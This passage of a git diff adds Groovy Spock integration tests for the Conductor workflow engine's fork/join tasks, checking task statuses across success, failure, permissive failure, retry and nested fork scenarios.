workflow.getTaskByRefName("test_task_failed_sub_wf").subWorkflowId + sweep(subWorkflowId) + sweep(workflowInstanceId) + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + reasonForIncompletion.contains('Workflow is FAILED by TERMINATE task') + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'LAMBDA' + tasks[0].seq == 1 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'TERMINATE' + tasks[1].seq == 2 + } + + then: "Verify that the workflow has failed and correct inputs passed into the failure workflow" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'LAMBDA' + tasks[0].referenceTaskName == 'lambdaTask1' + tasks[0].seq == 1 + tasks[1].status == Task.Status.FAILED + tasks[1].taskType == 'SUB_WORKFLOW' + tasks[1].seq == 2 + def failedWorkflowId = output['conductor.failure_workflow'] as String + def workflowCorrelationId = correlationId + def workflowFailureTaskId = tasks[1].taskId + with(workflowExecutionService.getWorkflowModel(failedWorkflowId, true)) { + status == WorkflowModel.Status.COMPLETED + correlationId == workflowCorrelationId + input['workflowId'] == workflowInstanceId + input['failureTaskId'] == workflowFailureTaskId + tasks.size() == 1 + tasks[0].taskType == 'LAMBDA' + input['failedWorkflow'] != null + } + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/ForkJoinSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/ForkJoinSpec.groovy new file mode 100644 index 0000000..0afec79 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/ForkJoinSpec.groovy @@ -0,0 +1,1404 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.Join +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW + +class ForkJoinSpec extends AbstractSpecification { + + @Autowired + Join joinTask + + @Shared + def FORK_JOIN_WF = 'FanInOutTest' + + @Shared + def FORK_JOIN_NESTED_WF = 'FanInOutNestedTest' + + @Shared + def FORK_JOIN_NESTED_SUB_WF = 'FanInOutNestedSubWorkflowTest' + + @Shared + def WORKFLOW_FORK_JOIN_OPTIONAL_SW = "integration_test_fork_join_optional_sw" + + @Shared + def FORK_JOIN_SUB_WORKFLOW = 'integration_test_fork_join_sw' + + @Shared + def FORK_JOIN_PERMISSIVE_WF = 'FanInOutPermissiveTest' + + @Autowired + SubWorkflow subWorkflowTask + + def setup() { + workflowTestUtil.registerWorkflows('fork_join_integration_test.json', + 'fork_join_with_no_task_retry_integration_test.json', + 'fork_join_with_no_permissive_task_retry_integration_test.json', + 'nested_fork_join_integration_test.json', + 'simple_workflow_1_integration_test.json', + 'nested_fork_join_with_sub_workflow_integration_test.json', + 'simple_one_task_sub_workflow_integration_test.json', + 'fork_join_with_optional_sub_workflow_forks_integration_test.json', + 'fork_join_sub_workflow.json', + 'fork_join_permissive_integration_test.json', + ) + } + + /** + * start + * | + * fork + * / \ + * task1 task2 + * | / + * task3 / + * \ / + * \ / + * join + * | + * task4 + * | + * End + */ + def "Test a simple workflow with fork join success flow"() { + when: "A fork join workflow is started" + def workflowInstanceId = startWorkflow(FORK_JOIN_WF, 1, + 'fanoutTest', [:], + null) + + then: "verify that the workflow has started and the starting nodes of the each fork are in scheduled state" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.SCHEDULED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + } + + when: "The first task of the fork is polled and completed" + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("fanouttask_join").getTaskId() + def polledAndAckTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker') + + then: "verify that the 'integration_task_1' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask1Try1) + + and: "The workflow has been updated and has all the required tasks in the right status to move forward" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_3' + } + + when: "The 'integration_task_3' is polled and completed" + def polledAndAckTask3Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task1.worker') + + then: "verify that the 'integration_task_3' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask3Try1) + + and: "The workflow has been updated with the task status and task list" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_3' + } + + when: "The other node of the fork is completed by completing 'integration_task_2'" + def polledAndAckTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.worker') + + and: "workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask2Try1) + + when: "JOIN task executed by the async executor" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "The workflow has been updated with the task status and task list" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[3].taskType == 'JOIN' + tasks[5].status == Task.Status.SCHEDULED + tasks[5].taskType == 'integration_task_4' + } + + when: "The last task of the workflow is then polled and completed integration_task_4'" + def polledAndAckTask4Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_4', 'task1.worker') + + then: "verify that the 'integration_task_4' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask4Try1) + + and: "Then verify that the workflow is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 6 + tasks[5].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_4' + } + } + + def "Test a simple workflow with fork join failure flow"() { + setup: "Ensure that 'integration_task_2' has a retry count of 0" + def persistedIntegrationTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedIntegrationTask2Definition = new TaskDef(persistedIntegrationTask2Definition.name, + persistedIntegrationTask2Definition.description, persistedIntegrationTask2Definition.ownerEmail, 0, + 0, persistedIntegrationTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedIntegrationTask2Definition) + + when: "A fork join workflow is started" + def workflowInstanceId = startWorkflow(FORK_JOIN_WF, 1, + 'fanoutTest', [:], + null) + + then: "verify that the workflow has started and the starting nodes of the each fork are in scheduled state" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.SCHEDULED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + } + + when: "The first task of the fork is polled and completed" + def polledAndAckTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker') + + then: "verify that the 'integration_task_1' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask1Try1) + + and: "The workflow has been updated and has all the required tasks in the right status to move forward" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_3' + } + + when: "The other node of the fork is completed by completing 'integration_task_2'" + def polledAndAckTask2Try1 = workflowTestUtil.pollAndFailTask('integration_task_2', + 'task1.worker', 'Failed....') + + and: "workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask2Try1) + + and: "the workflow is in the failed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 5 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.CANCELED + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.CANCELED + tasks[4].taskType == 'integration_task_3' + } + + cleanup: "Restore the task definitions that were modified as part of this feature testing" + metadataService.updateTaskDef(persistedIntegrationTask2Definition) + } + + /** + * start + * | + * fork + * / \ + * p_task1 p_task2 + * | / + * \ / + * \ / + * join + * | + * s_task3 + * | + * End + */ + def "Test a simple workflow with fork join permissive failure flow"() { + setup: "Ensure that 'integration_task_1' has a retry count of 0" + def persistedIntegrationTask1Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_1').get() + def modifiedIntegrationTask1Definition = new TaskDef(persistedIntegrationTask1Definition.name, + persistedIntegrationTask1Definition.description, persistedIntegrationTask1Definition.ownerEmail, 0, + 0, persistedIntegrationTask1Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedIntegrationTask1Definition) + + when: "A fork join workflow is started" + def workflowInstanceId = startWorkflow(FORK_JOIN_PERMISSIVE_WF, 1, + 'fanoutTest', [:], + null) + + then: "verify that the workflow has started and the starting nodes of the each fork are in scheduled state" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].workflowTask.permissive + tasks[1].status == Task.Status.SCHEDULED + tasks[1].taskType == 'integration_task_1' + tasks[2].workflowTask.permissive + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + } + + when: "The first task of the fork is polled and completed" + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("fanouttask_join").getTaskId() + def polledAndAckTask1Try1 = workflowTestUtil.pollAndFailTask('integration_task_1', 'task1.worker', 'Failed...') + + then: "verify that the 'integration_task_1' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask1Try1) + + and: "The workflow has been updated and has all the required tasks in the right status to move forward" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[1].status == Task.Status.FAILED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + } + + when: "The other node of the fork is completed by completing 'integration_task_2'" + def polledAndAckTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2','task1.worker') + + and: "workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask2Try1) + + and: "the workflow is in the failed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[1].status == Task.Status.FAILED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + } + + when: "JOIN task executed by the async executor" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "The workflow has been updated with the task status and task list" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 4 + tasks[1].status == Task.Status.FAILED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.FAILED + tasks[3].taskType == 'JOIN' + } + + cleanup: "Restore the task definitions that were modified as part of this feature testing" + metadataService.updateTaskDef(persistedIntegrationTask1Definition) + } + + def "Test retrying a failed fork join workflow"() { + + when: "A fork join workflow is started" + def workflowInstanceId = startWorkflow(FORK_JOIN_WF + '_2', 1, + 'fanoutTest', [:], + null) + + then: "verify that the workflow has started and the starting nodes of the each fork are in scheduled state" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.SCHEDULED + tasks[1].taskType == 'integration_task_0_RT_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_0_RT_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + } + + when: "The first task of the fork is polled and completed" + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("fanouttask_join").getTaskId() + def polledAndAckTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_0_RT_1', 'task1.worker') + + then: "verify that the 'integration_task_0_RT_1' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask1Try1) + + and: "The workflow has been updated and has all the required tasks in the right status to move forward" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_0_RT_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_0_RT_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_0_RT_3' + } + + when: "The other node of the fork is completed by completing 'integration_task_0_RT_2'" + def polledAndAckTask2Try1 = workflowTestUtil.pollAndFailTask('integration_task_0_RT_2', + 'task1.worker', 'Failed....') + + and: "workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the 'integration_task_0_RT_1' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask2Try1) + + and: "the workflow is in the failed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 5 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_0_RT_1' + tasks[2].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_0_RT_2' + tasks[3].status == Task.Status.CANCELED + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.CANCELED + tasks[4].taskType == 'integration_task_0_RT_3' + } + + when: "The workflow is retried" + workflowExecutor.retry(workflowInstanceId, false) + + then: "verify that all the workflow is retried and new tasks are added in place of the failed tasks" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_0_RT_1' + tasks[2].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_0_RT_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.CANCELED + tasks[4].taskType == 'integration_task_0_RT_3' + tasks[5].status == Task.Status.SCHEDULED + tasks[5].taskType == 'integration_task_0_RT_2' + tasks[6].status == Task.Status.SCHEDULED + tasks[6].taskType == 'integration_task_0_RT_3' + } + + when: "The 'integration_task_0_RT_3' is polled and completed" + def polledAndAckTask3Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_0_RT_3', 'task1.worker') + + then: "verify that the 'integration_task_3' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask3Try1) + + when: "The other node of the fork is completed by completing 'integration_task_0_RT_2'" + def polledAndAckTask2Try2 = workflowTestUtil.pollAndCompleteTask('integration_task_0_RT_2', 'task1.worker') + + and: "workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask2Try2) + + when: "JOIN task is polled and executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + and: "The last task of the workflow is then polled and completed integration_task_0_RT_4'" + def polledAndAckTask4Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_0_RT_4', 'task1.worker') + + then: "verify that the 'integration_task_0_RT_4' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask4Try1) + + then: "Then verify that the workflow is completed and the task list of execution is as expected" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 8 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_0_RT_1' + tasks[2].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_0_RT_2' + tasks[3].status == Task.Status.COMPLETED + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.CANCELED + tasks[4].taskType == 'integration_task_0_RT_3' + tasks[5].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_0_RT_2' + tasks[6].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_task_0_RT_3' + tasks[7].status == Task.Status.COMPLETED + tasks[7].taskType == 'integration_task_0_RT_4' + } + } + + def "Test retrying a failed permissive fork join workflow"() { + + when: "A fork join permissive workflow is started" + def workflowInstanceId = startWorkflow(FORK_JOIN_PERMISSIVE_WF + '_2', 1, + 'fanoutTest', [:], + null) + + then: "verify that the workflow has started and the starting nodes of the each fork are in scheduled state" + workflowInstanceId + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.SCHEDULED + tasks[1].taskType == 'integration_p_task_0_RT_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_p_task_0_RT_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + } + + when: "The first task of the fork is polled and completed" + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("fanouttask_join").getTaskId() + def polledAndAckTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_p_task_0_RT_1', 'task1.worker') + + then: "verify that the 'integration_task_p_0_RT_1' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask1Try1) + + and: "The workflow has been updated and has all the required tasks in the right status to move forward" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_p_task_0_RT_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_p_task_0_RT_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_p_task_0_RT_3' + } + + when: "The other node of the fork is completed by completing 'integration_p_task_0_RT_2'" + def polledAndAckTask2Try1 = workflowTestUtil.pollAndFailTask('integration_p_task_0_RT_2', + 'task1.worker', 'Failed....') + + and: "workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the 'integration_p_task_0_RT_2' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask2Try1) + + and: "the workflow is not in the failed state, until the completion of the permissive forked tasks" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_p_task_0_RT_1' + tasks[2].status == Task.Status.FAILED + tasks[2].taskType == 'integration_p_task_0_RT_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_p_task_0_RT_3' + } + + when: "The other node of the fork is completed by completing 'integration_p_task_0_RT_3'" + def polledAndAckTask3Try1 = workflowTestUtil.pollAndFailTask('integration_p_task_0_RT_3', + 'task1.worker', 'Failed....') + + and: "workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the 'integration_p_task_0_RT_3' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask3Try1) + + and: "JOIN task is polled and executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + and: "the workflow is in the failed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 5 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_p_task_0_RT_1' + tasks[2].status == Task.Status.FAILED + tasks[2].taskType == 'integration_p_task_0_RT_2' + tasks[3].status == Task.Status.FAILED + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.FAILED + tasks[4].taskType == 'integration_p_task_0_RT_3' + } + + when: "The workflow is retried" + workflowExecutor.retry(workflowInstanceId, false) + + then: "verify that all the workflow is retried and new tasks are added in place of the failed tasks" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_p_task_0_RT_1' + tasks[2].status == Task.Status.FAILED + tasks[2].taskType == 'integration_p_task_0_RT_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.FAILED + tasks[4].taskType == 'integration_p_task_0_RT_3' + tasks[5].status == Task.Status.SCHEDULED + tasks[5].taskType == 'integration_p_task_0_RT_2' + tasks[6].status == Task.Status.SCHEDULED + tasks[6].taskType == 'integration_p_task_0_RT_3' + } + + when: "The 'integration_p_task_0_RT_3' is polled and completed" + def polledAndAckTask3Try2 = workflowTestUtil.pollAndCompleteTask('integration_p_task_0_RT_3', 'task1.worker') + + then: "verify that the 'integration_p_task_3' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask3Try2) + + when: "The other node of the fork is completed by completing 'integration_p_task_0_RT_2'" + def polledAndAckTask2Try2 = workflowTestUtil.pollAndCompleteTask('integration_p_task_0_RT_2', 'task1.worker') + + and: "workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the 'integration_p_task_2' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask2Try2) + + when: "JOIN task is polled and executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + and: "The last task of the workflow is then polled and completed integration_p_task_0_RT_4'" + def polledAndAckTask4Try1 = workflowTestUtil.pollAndCompleteTask('integration_p_task_0_RT_4', 'task1.worker') + + then: "verify that the 'integration_p_task_0_RT_4' was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask4Try1) + + then: "Then verify that the workflow is completed and the task list of execution is as expected" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 8 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_p_task_0_RT_1' + tasks[2].status == Task.Status.FAILED + tasks[2].taskType == 'integration_p_task_0_RT_2' + tasks[3].status == Task.Status.COMPLETED + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.FAILED + tasks[4].taskType == 'integration_p_task_0_RT_3' + tasks[5].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_p_task_0_RT_2' + tasks[6].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_p_task_0_RT_3' + tasks[7].status == Task.Status.COMPLETED + tasks[7].taskType == 'integration_p_task_0_RT_4' + } + } + + def "Test nested fork join workflow success flow"() { + given: "Input for the nested fork join workflow" + Map input = new HashMap() + input["case"] = "a" + + when: "A nested workflow is started with the input" + def workflowInstanceId = startWorkflow(FORK_JOIN_NESTED_WF, 1, + 'fork_join_nested_test', input, + null) + + then: "verify that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks.findAll { it.referenceTaskName in ['t11', 't12', 't13', 'fork1', 'fork2'] }.size() == 5 + tasks.findAll { it.referenceTaskName in ['t1', 't2', 't16'] }.size() == 0 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_11' + tasks[1].status == Task.Status.SCHEDULED + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_12' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_13' + tasks[4].status == Task.Status.SCHEDULED + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + tasks[5].inputData['joinOn'] == ['t14', 't20'] + tasks[6].taskType == 'JOIN' + tasks[6].status == Task.Status.IN_PROGRESS + tasks[6].inputData['joinOn'] == ['t11', 'join2'] + + } + + when: "Poll and Complete tasks: 'integration_task_11', 'integration_task_12' and 'integration_task_13'" + def outerJoinId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("join1").getTaskId() + def innerJoinId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("join2").getTaskId() + def polledAndAckTask11Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_11', 'task11.worker') + def polledAndAckTask12Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_12', 'task12.worker') + def polledAndAckTask13Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_13', 'task13.worker') + + then: "verify that tasks 'integration_task_11', 'integration_task_12' and 'integration_task_13' were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask11Try1) + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask12Try1) + workflowTestUtil.verifyPolledAndAcknowledgedTask(polledAndAckTask13Try1) + + and: "verify the state of the workflow" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 10 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + + tasks[1].taskType == 'integration_task_11' + tasks[1].status == Task.Status.COMPLETED + + tasks[2].taskType == 'FORK' + tasks[2].status == Task.Status.COMPLETED + + tasks[3].taskType == 'integration_task_12' + tasks[3].status == Task.Status.COMPLETED + + tasks[4].taskType == 'integration_task_13' + tasks[4].status == Task.Status.COMPLETED + + tasks[5].taskType == 'JOIN' + tasks[5].status == Task.Status.IN_PROGRESS + tasks[5].inputData['joinOn'] == ['t14', 't20'] + + tasks[6].taskType == 'JOIN' + tasks[6].status == Task.Status.IN_PROGRESS + tasks[6].inputData['joinOn'] == ['t11', 'join2'] + + tasks[7].taskType == 'integration_task_14' + tasks[7].status == Task.Status.SCHEDULED + + tasks[8].taskType == 'DECISION' + tasks[8].status == Task.Status.COMPLETED + + tasks[9].taskType == 'integration_task_16' + tasks[9].status == Task.Status.SCHEDULED + } + + when: "Poll and Complete tasks: 'integration_task_16' and 'integration_task_14'" + def polledAndAckTask16Try1 = 